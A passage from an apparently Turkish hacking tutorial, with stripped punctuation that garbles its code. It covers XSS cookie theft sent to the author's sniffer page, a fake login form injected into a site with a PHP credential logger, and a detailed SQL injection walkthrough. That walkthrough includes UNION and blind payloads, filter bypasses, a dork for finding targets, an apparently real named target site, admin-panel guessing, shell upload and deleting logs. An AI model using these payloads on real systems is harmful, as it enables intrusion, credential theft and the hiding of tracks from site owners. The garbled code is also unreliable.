httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
